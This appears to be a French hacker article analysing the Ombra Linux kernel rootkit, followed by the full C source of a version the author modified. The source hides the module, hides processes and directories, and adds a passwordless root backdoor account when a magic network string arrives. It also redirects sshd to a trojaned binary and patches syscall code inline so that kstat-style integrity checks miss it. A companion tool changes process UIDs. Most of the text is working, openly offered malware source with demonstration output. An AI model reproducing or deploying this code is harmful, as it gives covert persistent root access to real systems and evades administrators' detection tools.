-= Analyse de la rootkit Ombra par Sauron =-
  ---------------------------------------------------------------------------------------

   Salut,
Nous allons voir a travers cette analyse de quoi les rootkits sont actuellement capable et comment les arreter.
Nous nous concentrerons sur une seul rootkit ( ombra ) car elle est implemente une protection que les rootkits
les plus utilisees n'ont pas mais quels auront a l'avenir.

La rootkit ombra a ete programmer par Fusys de s0ftproject. J'ai modifier son programme pour qu'il implemente
la nouvelle protection en question. J'ai choisis de le faire sur la rootkit ombra car j'aime les options
qu'elles proposent et elle merite a etre connu.
Nous allons tester toutes les options qu'elles proposent :

[root@localhost 0mbra]# gcc -c -O2 ombra.c -D_LOOSE_KERNEL_NAMES
[root@localhost 0mbra]# insmod ombra.o
[root@localhost 0mbra]# lsmod
Module                  Size  Used by
nls_cp437               3952   2  (autoclean)
ide-scsi                7664   2  (initializing)
[root@localhost 0mbra]#

Bon, nous avons compiler et inserer le module. Celui ci n'est pas visible via lsmod.
Ici il est possible de la detecter via /proc/modules car sys_write n'a pas ete modifier.
( je le ferait a l'avenir mais il y a quelques complication avec le code de ombra.c ).

Voyons voir les options que proposent cette rootkit.
La premiere option est l'ajout d'un utilisateur sur le systeme lors de l'envoit d'un
mot ( GiveMeAccount par default ) sur n'importe quel port de la machine infectee.
Le tout etant que ce mot passe dans un buffer que traitera sys_socketcall.
Pour le test je pass par le service ftp.

[root@localhost 0mbra]# cat /etc/passwd | grep fantom
[root@localhost 0mbra]#

Voici ce que fait le pirate de chez lui :

root@hax0r root]# ftp www.victim.com
Connected to www.victim.com.
220 www.victim.com FTP server (Version wu-2.6.1(1) Tue Oct 3 14:29:19 CEST 2000) ready.
Name (localhost:root): GiveMeAccount
331 Password required for GiveMeAccount.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
root@hax0r root]#

La string a ete envoyer. Voyons desormais les fichiers /etc/passwd et /etc/shadow :

[root@localhost /root]# cat /etc/passwd | grep fantom
fantom::1:6:spj2k:/tmp:/bin/bash
[root@localhost /root]# cat /etc/shadow | grep fantom
fantom::10968:0:99999:7:-1:-1:134538412
[root@localhost /root]#

Le compte a effectivement ete ajouter. Par default le compte est sans pass. Celui ci semble
etre d'utilisateurs "bin" ( uid 1 ) mais en fait est root car setuid et getuid ont ete modifier
pour mettre des droits root au process d'uid 1. On peut aisement imaginer le scenarion suivant :
le pirate ajoute l'utilisateur fantome en envoyant la string GiveMeAccount, puis il se log sur
le shell, efface les entree dans lastlog/wtmp/... puis retire le compte lorsqu'il desire quitter
le systeme. De cette maniere, il n'a ete visible a aucun moment et il poura revenir probablement
beacoup de fois avant que vous ne vous en rendiez compte.

Je ne vais pas detailler les procedure, mais il est possible de cacher des processus en leur
envoyant le signal 31 ( kill -31 process ). Cela est commun a plusieurs rootkit. Kstat peut les
detecter.

Il est possible de cacher des repertoires, il faut que ceux ci est un nom special ( HideRep par default ).
A ce niveau, la rootkit offre egalement des possibilite tres interessantes :
Les repertoires cacher par ombra sont mieux cacher que ceux cacher par des rootkit comme adore ou knark.
( voir article " securite linux : retirer les failles et se proteger des outils des pirates " ).
En effet les repertoires cacher par ombra n'ont pas d'attribut qui permettrai de les retrouver, mis
a part le fait qu'ils portent un nom speciaux. Si ce nom n'est pas connu, meme une fois le module dechargee, les
investigations risquent d'etre longue pour retrouver les fichiers du hackers.
Les rootkit tels que knark ou adore se contentait egalement de cacher les repertoires et fichiers, mais ceux
ci etaient accessibles. Avec la rootkit ombra, il faut obligatoirement posseder un Uid special. ( 666 par default ).

Comme aucun utilisateur d'uid 666 existe et afin d'eviter d'ajouter un utilisateur suplementaire, j'ai ajouter a la
rootkit une option qui permet de modifier l'uid d'un pid. Voici la demonstration :

[root@localhost 0mbra]# mkdir HideRep
[root@localhost 0mbra]# ls
install.sh*  ombra.c  ombra.o uidpid*  uidpid.c
[root@localhost 0mbra]# cd HideRep
bash: cd: HideRep: Aucun fichier ou répertoire de ce type
[root@localhost 0mbra]# ps -aux | grep root | grep bash
root       667  0.0  2.3  2392 1460 pts/0    S    01:26   0:00 bash
[root@localhost 0mbra]# ./uidpid
./uidpid <uid> <pid>
[root@localhost 0mbra]# ./uidpid 666 667
[*] Met le pid 667 a l'uid 666
Done !
[root@localhost 0mbra]# ls
HideRep/ install.sh*  ombra.c  ombra.o uidpid*  uidpid.c
root@hax0r root]#

Ombra gere egalement la redirection en execution, mais pour eviter d'avoir a stocker les informations de redirections,
les mettants ainci a la merci de l'administrateur, celles ci doivent etre entrer des le chargement du module.
Par default le module redirige /usr/local/bin/sshd vers /HideRep/evil_sshd

Initialement, la rootkit redirigeait les entree de la syscall_table pour influer sur les syscall. Cette methode,
largement utilisee par les rootkit, est pourtant facilement reperable. J'ai modifier la rootkit ombra pour qu'elle
ne modifit pas la sys_call_table, et qu'elle hijack a la place les syscall. ( en overwritant les 7 premiers
octets des syscalls ciblee pour ajouter un jump vers l'adresse de notre nouvelle fonction ).
Cela evite que les adresses enregistrer dans la syscall table ne soit modifier.
En effet avec des outils come kstat ( encore de s0ftproject ), on peut detecter ce type de module.
Kstat va chercher l'adresses des syscall via /dev/kmem puis compare avec celles de la sys_call_table.
Si il y a une modification, alors le systeme est trojanisee. J'ai modifier ombra, car jusque la je n'avais
jamais vu de rootkit capable de parer cette protection.
Demonstration :

[root@localhost KSTAT]# ./kstat -s | grep WARNING
[root@localhost KSTAT]#

Voici le resultat obtenut avant modification de la rootkit :

[root@localhost KSTAT]# ./kstat -s | grep WARNING
sys_unlink                      0xc4c2c410 WARNING! Should be at 0xc012dbcc
sys_execve                      0xc4c2c1a4 WARNING! Should be at 0xc0108f80
sys_chdir                       0xc4c2c4e8 WARNING! Should be at 0xc0125580
sys_setuid                      0xc4c2c640 WARNING! Should be at 0xc0115458
sys_getuid                      0xc4c2c69c WARNING! Should be at 0xc0112a10
sys_kill                        0xc4c2c5b8 WARNING! Should be at 0xc0110e78
sys_ioctl                       0xc4c2c6ec WARNING! Should be at 0xc012f058
sys_socketcall                  0xc4c2c7a0 WARNING! Should be at 0xc0159934
sys_getdents                    0xc4c2c25c WARNING! Should be at 0xc012f3b0
sys_query_module                0xc4c2c938 WARNING! Should be at 0xc0117150
[root@localhost KSTAT]#

On voyait clairement les 10 syscall modifier par ombra.
Les IDS offrant a l'heure actuelle une protection contre les modules rootkit se contentent d'effectuer
le meme travaille que kstat afin de restaurer la syscall table si besoin est. Le module ombra dejout
donc pour le moment les IDS. J'ai pour ma part programmer un petit patch qui va s'occuper de
remettre en place les 15 premiers octets des syscall et la syscall table lorsque insmod est appeler.
Mon patch est efficasse contre le module ombra. Le code est diffuse dans l'article sur la securite disponible
sur www.minithins.net.

Nicolas Brito ( a.k.a Sauron )
 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Voila le code du module ombra. Il ne modifit pas la sys_call_table :-)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
/*
 * oMBRa.c
 * Auteur :  Coder par fusys de s0ftproject. Modifications de Sauron au niveau du hijacking des
 *  syscall. Ajout de fonction utile pour gerer ce module.
 *
 * Compilate con:       gcc -c -O2 -fomit-frame-pointer oMBRa.c
 * Installate con:      insmod oMBRa.o
 *
 */

#define MODULE
#define __KERNEL__
#include <linux/module.h>

#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>

#define MAGICSTRING  "GiveMeAccount"
#define SUBVISUS        "HideRep"
#define LKMNAME   "ombra"
#define SIGNIHIL        31
#define PF_DISAPPEAR    0x00002000
#define SACROUID        1
#define KING            666
#define SSHD  "/usr/local/bin/sshd"
#define PASSWD  "/etc/passwd"
#define SHADOW  "/etc/shadow"
#define ACCOUNT  "fantom::1:6:spj2k:/tmp:/bin/bash\n"
#define ACCSHDW  "fantom::10968:0:99999:7:-1:-1:134538412\n"
#define MYFUNC  192
inline int suser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->euid == 0)||
    (current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

inline int fsuser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)||
    (current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

inline int capable(int cap)
{
        if ((cap_raised(current->cap_effective, cap))||(current->euid == KING))
        {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

int promisc, errno;

static char syscall_code_execve[7];
static char syscall_code_getdents[7];
static char syscall_code_unlink[7];
static char syscall_code_kill[7];
static char syscall_code_setuid[7];
static char syscall_code_getuid[7];
static char syscall_code_ioctl[7];
static char syscall_code_socketcall[7];
static char syscall_code_query_module[7];
static char syscall_code_chdir[7];
static char new_syscall_code[7]="\xbd\x00\x00\x00\x00\xff\xe5";

int (*old_execve) (struct pt_regs);
int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;

extern void *sys_call_table[] ;

int (*open)(const char*, int, mode_t);
int (*write)(unsigned int, char*, unsigned int);
int (*close)(int);
int (*fuqfunc)();

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

int atoi(char str[])
{
    int res = 0;
    int i ;
    for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
        res = 10 * res + str[i] - '0';
    return res;
}

inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
        return NULL;
}

int secret(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if (task) {
        name = (char *)kmalloc(200, GFP_KERNEL);
        memset(name, 0, 200);
        task_name(task, name);
        if (strstr(name, SUBVISUS)!=NULL) {
            kfree(name);
            return 1;
        }
        kfree(name);
    }
    return 0;
}

asmlinkage int you_make_me_real(unsigned short k_uid, int k_pid) {
 struct task_struct *q;

 for_each_task(q) {
  if(q->pid == k_pid) {
   q->uid = k_uid;
   q->euid = k_uid;
   return 0;
  }
 }
 return -1;
}
int killinv(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    if(task == NULL) return 0;
    if (task->flags & PF_DISAPPEAR) {
        return 1;
    }
    return 0;
}

int new_execve(struct pt_regs regs)
{
        char *filename;
        int error;

 filename=getname((char *) regs.ebx);
        error = PTR_ERR(filename);
        if (IS_ERR(filename)) return error;
 if(strstr(filename, SSHD)){
  error=do_execve("/HideRep/evil_sshd",(char **)regs.ecx,(char **)regs.edx,&regs);
 }
 else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,&regs);
 if (error == 0) current->flags &= ~PF_DTRACE;
        putname(filename);
        return error;
}

int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
    unsigned int real ;
    unsigned int len ;

    int readen ;
    int proc;

    struct dirent *dirptr2, *dirptr3;
    struct inode *procinode;

 _memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
 real = (*old_getdents) (fd, dirptr, count);
 *(long *)&new_syscall_code[1] = (long)new_getdents;
 _memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));
 

    if(real == -1) return(-errno);

#ifdef __LINUX_DCACHE_H
    procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    procinode = current->files->fd[fd]->f_inode;
#endif
    if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
    MINOR(procinode->i_dev) == 1) proc = 1;

    if (current->uid == KING) return(real);

    if (real > 0) {

        dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
        copy_from_user(dirptr2, dirptr, real);
        dirptr3 = dirptr2;
        readen = real;
         while (readen > 0) {
            len = dirptr3->d_reclen;
            readen -= len;
            if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
               || (proc && secret(atoi(dirptr3->d_name)))
               || (proc && killinv(atoi(dirptr3->d_name)))) {

               if (readen != 0)
                memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);

               else  dirptr3->d_off = 1024;

                real -= len;
            }
            if (dirptr3->d_reclen == 0) {
                real -= readen;
                readen = 0;
            }
            if (readen != 0)
            dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
        }
        copy_to_user(dirptr, dirptr2, real);
        kfree(dirptr2);
    }
    return(real);
}

int new_unlink(const char *pathname)
{
 int ret;
 char *path2;

        path2=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(path2, pathname, 255);
        if(strstr(path2, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(path2);
                        return -EPERM ;
                }
                else {
                        kfree(path2);
 

 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
        ret = (*old_unlink) (pathname);
 *(long *)&new_syscall_code[1] = (long)new_unlink;
 _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
        return(ret);

                }
        }

else {
 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
        ret = (*old_unlink) (pathname);
 *(long *)&new_syscall_code[1] = (long)new_unlink;
 _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
     }
        kfree(path2);
        return(ret);
}

int new_chdir(const char *filename)
{
 int ret;
 char *name;

        name=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(name, filename, 255);
        if(strstr(name, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(name);
                        return -ENOENT ;
                }
                else {
                        kfree(name);
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
        ret = (*old_chdir) (filename);
 *(long *)&new_syscall_code[1] = (long)new_chdir;
 _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
                        return(ret);
                }
        }
        else {
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
 ret = (*old_chdir) (filename);
 *(long *)&new_syscall_code[1] = (long)new_chdir;
 _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
      }
        kfree(name);
        return(ret);
}

int new_kill(pid_t pid, int sig)
{
        int real;
        struct task_struct *task = get_task(pid);

        if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {

 _memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
        real = (*old_kill)(pid, sig);
 *(long *)&new_syscall_code[1] = (long)new_kill;
 _memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));
                if (real == -1) return(-errno);
                return real;
        }
        if (sig == SIGNIHIL) {
                task->flags |= PF_DISAPPEAR;
                return(0);
        }
        else if (sig == SIGTSTP) {
                task->uid = task->gid = task->euid = task->egid = 0;
  task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return(real);
        }
 return(0);
}

int new_setuid(uid_t uid)
{
        int tmp;
        if (uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
  current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return 0;
        }

 _memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
        tmp = (*old_setuid) (uid) ;
 *(long *)&new_syscall_code[1] = (long)new_setuid;
 _memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
        return tmp;
}

int new_getuid()
{
        int tmp;
        if (current->uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
                return 0;
        }

 _memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
 tmp = (*old_getuid) () ;
 *(long *)&new_syscall_code[1] = (long)new_getuid;
 _memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));
        return tmp;
}

int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        int ret ;
        struct ifreq netif ;

 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
        ret = (*old_ioctl) (fd, cmd, arg);
 *(long *)&new_syscall_code[1] = (long)new_ioctl;
 _memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));
        if (cmd == SIOCGIFFLAGS && !promisc) {
          copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
          sizeof(struct ifreq));
          netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
          copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
          sizeof(struct ifreq));
        } else if (cmd == SIOCSIFFLAGS)
 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
        return ret ;
}

int new_socketcall(int call, unsigned long *args)
{
        int ret, compt, fd=0;
        mm_segment_t old_fs;
        unsigned long *sargs = args;
        unsigned long a0, a1;
        void *buf;

 _memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
        ret = (*old_socketcall) (call, args);
 *(long *)&new_syscall_code[1] = (long)new_socketcall;
 _memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));

 if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) {
                get_user(a0, sargs);
                get_user(a1, sargs + 1);
                buf = kmalloc(ret, GFP_KERNEL);
                copy_from_user(buf, (void *) a1, ret);
                for (compt = 0; compt < ret; compt++)
                        if (((char *) (buf))[compt] == 0)
                                ((char *) (buf))[compt] = 1;
                        if (strstr(buf, MAGICSTRING)) {
    current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                                old_fs=current->addr_limit;
                                current->addr_limit=(KERNEL_DS);
                                fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
    printk("%d\n",fd);
                                (*write)(fd,ACCOUNT,strlen(ACCOUNT));
                                (*close)(fd);
                                fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
    printk("%d\n",fd);
                                (*write)(fd,ACCSHDW,strlen(ACCSHDW));
                                (*close)(fd);
                                current->addr_limit=old_fs;
    current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE));
                        }
                        kfree(buf);
 }
        return ret;
}

int new_query_module(const char *name, int which, char *buf, size_t bufsize,
 size_t *ret)
{
        int res;
        int cnt;
        char *ptr, *match;

 _memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
        res = (*old_query_module)(name, which, buf, bufsize, ret);
 *(long *)&new_syscall_code[1] = (long)new_query_module;
 _memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));

        if(res == -1)
                return(-errno);

        if(which != QM_MODULES)
                return(res);

        ptr = buf;

        for(cnt = 0; cnt < *ret; cnt++) {
                if(!strcmp(LKMNAME, ptr)) {
                        match = ptr;
                        while(*ptr)
                                ptr++;
                        ptr++;
                        memcpy(match, ptr, bufsize - (ptr - (char *)buf));
                        (*ret)--;
                        return(res);
                }
                while(*ptr)
                        ptr++;
                ptr++;
        }

        return(res);
}

int init_module(void)
{

  EXPORT_NO_SYMBOLS;
 

 *(long *)&new_syscall_code[1] = (long)new_execve;
  _memcpy(syscall_code_execve, sys_call_table[__NR_execve], sizeof(syscall_code_execve));
  _memcpy(sys_call_table[__NR_execve], new_syscall_code, sizeof(syscall_code_execve));

 old_execve = sys_call_table[SYS_execve];

 *(long *)&new_syscall_code[1] = (long)new_getdents;
  _memcpy(syscall_code_getdents, sys_call_table[__NR_getdents], sizeof(syscall_code_getdents));
  _memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));

 *(long *)&new_syscall_code[1] = (long)new_unlink;
  _memcpy(syscall_code_unlink, sys_call_table[__NR_unlink], sizeof(syscall_code_unlink));
  _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));

 *(long *)&new_syscall_code[1] = (long)new_chdir;
  _memcpy(syscall_code_chdir, sys_call_table[__NR_chdir], sizeof(syscall_code_chdir));
  _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
 

 *(long *)&new_syscall_code[1] = (long)new_kill;
  _memcpy(syscall_code_kill, sys_call_table[__NR_kill], sizeof(syscall_code_kill));
  _memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));

 *(long *)&new_syscall_code[1] = (long)new_setuid;
  _memcpy(syscall_code_setuid, sys_call_table[__NR_setuid], sizeof(syscall_code_setuid));
  _memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
 

 *(long *)&new_syscall_code[1] = (long)new_ioctl;
  _memcpy(syscall_code_ioctl, sys_call_table[__NR_ioctl], sizeof(syscall_code_ioctl));
  _memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));

 *(long *)&new_syscall_code[1] = (long)new_getuid;
  _memcpy(syscall_code_getuid, sys_call_table[__NR_getuid], sizeof(syscall_code_getuid));
  _memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));

 *(long *)&new_syscall_code[1] = (long)new_socketcall;
  _memcpy(syscall_code_socketcall, sys_call_table[__NR_socketcall], sizeof(syscall_code_socketcall));
  _memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));
 

 *(long *)&new_syscall_code[1] = (long)new_query_module;
  _memcpy(syscall_code_query_module, sys_call_table[__NR_query_module], sizeof(syscall_code_query_module));
  _memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));

 fuqfunc = sys_call_table[MYFUNC];
 sys_call_table[MYFUNC] = you_make_me_real;
        old_getdents = sys_call_table[SYS_getdents];
        old_unlink= sys_call_table[SYS_unlink];
        old_chdir= sys_call_table[SYS_chdir];
        old_kill = sys_call_table[SYS_kill];
        old_setuid = sys_call_table[SYS_setuid];
        old_getuid = sys_call_table[SYS_getuid];
        old_ioctl = sys_call_table[SYS_ioctl];
        old_socketcall = sys_call_table[SYS_socketcall];
 old_query_module = sys_call_table[SYS_query_module];

 open = sys_call_table[SYS_open];

 close = sys_call_table[SYS_close];

 write = sys_call_table[SYS_write];

 return 0;
}

void cleanup_module(void)
{
 sys_call_table[MYFUNC] = fuqfunc;
 _memcpy(sys_call_table[__NR_execve], syscall_code_execve, sizeof(syscall_code_execve));
 _memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
 _memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
 _memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
 _memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
 _memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
 _memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
}

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| Voici maintenant le programme a appeler pour modifier l'uid d'un pid quand ombra est charge :
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#include <asm/unistd.h>
#define MYFUNC 192
#define VERT "\033[32m"
#define NORM "\033[0m"

int errno;
int uidpid(unsigned short uid, int pid) {
 long __res;
 __asm__ volatile ("int $0x80"
   : "=a" (__res)
   : "0" (MYFUNC),"b" ((long)(uid)),"c" ((long)(pid)));
 __syscall_return(int,__res);
}
 

int main(int argc, char *argv[]) {
 int ret;
 if(argc != 3) {
  printf(VERT"%s"NORM" <uid> <pid>\n", argv[0]);
  exit(-1);
 }
 printf("[*] Met le pid "VERT"%s"NORM" a l'uid "VERT"%s"NORM"\n", argv[2], argv[1]);
 ret=uidpid(atoi(argv[1]), atoi(argv[2]));
 printf(VERT"Done !\n"NORM);
 return ret;
}